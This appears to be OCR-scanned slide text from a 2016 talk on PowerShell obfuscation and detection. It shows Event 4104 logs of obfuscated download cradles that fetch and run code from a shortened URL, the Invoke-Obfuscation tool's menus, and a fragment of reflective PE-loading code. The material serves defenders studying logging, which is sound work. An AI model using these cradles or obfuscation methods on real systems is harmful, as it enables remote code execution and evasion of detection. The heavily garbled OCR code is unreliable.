Daniel Bohannon dberbyCorb (2016)

eeeeeeeeeee (@Pyrotek3)



Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (1 of 1):

&&("I" + "nv" +"0OK" +"e-EXPreSslon” ) (&( "new-0"+ "BJ"+ "Ect" BN EEEEEA) [N (6 T2 DN
('dOWnNIO' +'aDS'+ ' TrinG").Invoke( ('http://bi"' +'tly/'+ 'L3' +'glt'))

ScriptBlock ID: 54838532-859b-4dbb-9d33-68a6f46e25f9

Path:
Log Name: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged: 10/1/2016 1:58:34 PM
Event ID: 4104 Task Category: Execute a Remote Command
Level: Warning Keywords: None
User: DESKTOP-RMJCHH3\me Computer: DESKTOP-RMJCHH3
OpCode: On create calls

More Information: Event Log Online Help
Daniel Bohannon dberbyCorb (2016)



Standard CommandObfuscated

&("{OH2H3K1H4} 'In','e’,'vokeEXp,'r','ssion) (&( "{2H{O0H1}-f'w-
Obe','ct','Ne") ( "{OH{1H2H{3}f 'N','et.','Web','Client’)
).("{OH{3H1K{2H{4}'Downl','ad','S",'0','tring" ).Invoke(( 'http' +
U+l +ly'+/L3g1t' )

Daniel Bohannon dberbyCorb (2016)



Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (1 of 1):

& ("{OH2H3H1H4}"-f 'In','e’,'voke-Exp’,'r','ssion") ( & ("{2{O{1}"-f'w-Obje’,'ct’,'Ne’ )@} a3
{3}"-f'N','et.’,'Web','Client’ ) ).("{O{3X1H{2H4}"-f' Downl’,'ad’,'S','0’", 'tring’ ).Invoke(( 'http' + '+'/" +
'/bi' +'tly' +'/L3glt') )

ScriptBlock ID: dbSelcal-2ead-4f32-bb11-8d093%9¢d913c

Path:
Log Name: Microsoft-Windows-PowerShell/Operational
Source: PowerShell (Microsoft-Wind Logged: 10/1/2016 1:57:05 PM
Event ID: 4104 Task Category: Execute a Remote Command
Level: Warning Keywords: None
User: DESKTOP-RMJCHH3\me Computer: DESKTOP-RMJCHH3
OpCode: On create calls Daniel Bohannon dberbyCoré (2016)

More Information: Event Log Online Help



PS¢ Invoke-Obfuscation

JO'WRITY + e-H" + "0st") ( "I" +"nvoke"+"-Obfus”+"cat” + "10" +"n") ~ForegroundColor

write-Host "Invoke-Obfuscation” -ForegroundColor Green

MENU :: Available options shown below:
[*] Tutorial of how to use this tool TUTORTAL
“] Show this Help Menu MELP ,GET~HELFP,7,~7,/7 MENY
o | how options for payload to obfuscate SHOW OPTIONS,SHOW,0PTIONS
¢} Clear screen CLEAR,CLEAR-HOST, QLS
*] EX e ObfuscatedCommand locally EXEC,EXECUTE ,TEST RUN
*] Copy ObfuscatedCommand to clipboard COPY,CLIP,CLIPEQARD
*] Write obfuscatedCommand Out to disk ouT
*] sset obfuscation for ObfuscatedCommand RESET
*] Go Back to previous obfuscation menu BACK ,CD
*] Quit Invoke-Obfuscation QUIT,EXIT
“*] Return to Home Menu HOME , MAIN

choose one of the below options:
] TOKEN Obfuscate PowersShell command 7o

STRING Obfuscate entire command as a String

[‘ ENCODING Obfuscate entire command via Encoding

*1 LAUNCHER Obfuscate command args w/Launcher techniques (rum once at end)

1
|




N Y
[ NV /S N/ N
SNV <
/TN .
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[T N/ — 7 — 7 ] N\ '\
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HELP MENU :: Available options shown below:

[#*] Tutorial of how to use this tool TUTORIAL

[*] Show this Help Menu HELP,GET-HELP,?,-?,/?,MENU
*] Show options for payload to obfuscate SHOW OPTIONS,SHOW,OPTIONS
*] Clear screen CLEAR,CLEAR-HOST,CLS

* Execute Obfuscatedcommand locally EXEC,EXECUTE,TEST,RUN

[*] cCopy oObfuscatedCommand to clipboard COPY,CLIP,CLIPBOARD

[*] write ObfuscatedCommand out to disk ouT

[*] Reset obfuscation for obfuscatedcommand RESET

[*] Go Back to previous obfuscation menu BACK,CD ..

[*] qQuit Invoke-oObfuscation QUIT,EXIT

* Return to Home Menu HOME ,MAIN

Choose one of the below options:

[*] TOKEN obfuscate pPowershell command Tokens

[*] STRING Obfuscate entire command as a String

[*] ENCODING Obfuscate entire command via Encoding

[*] LAUNCHER obfuscate command args w/Launcher techniques (run once at end)




Function Get-ImageNtHeaders

{

Param(

'Parameter(Position = 0, Mandatory
[IntPtr]

$PEHandle,

$true)]

1, Mandatory $true)]

[Parameter(Position
[System.Object]
$win32Types

Il

$NtHeadersInfo = New-Object System.Object

#Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'mMz' f«
$dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Typel$win32Types.IMAGE_DOS_HEAI

#Get IMAGE_NT_HEADERS

[IntPtr]$NtHeadersPtr = [IntPtr] (Add-SignedintAsunsigned ([Int64]$PEHandle) ([Int64][UInt64]%dosHeader.e_1lfanew).
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -value $NtHeadersPtr

$imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeaderspPtr, [Typel$win32Types.IM

#Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happ:e
if ($imageNtHeaders64.Signature -ne 0x00004550)

throw "Invalid IMAGE_NT_HEADER signature."
3

if ($imageNtHeaders64 . oOptionalHeader Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')

$NtHeadersinfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -vValue $imageNtHeaders64
$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -value $true

}

else

{ p Sean Metcalf (@FD/IPyro ek3I) = .
$ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Typel$win32Type:
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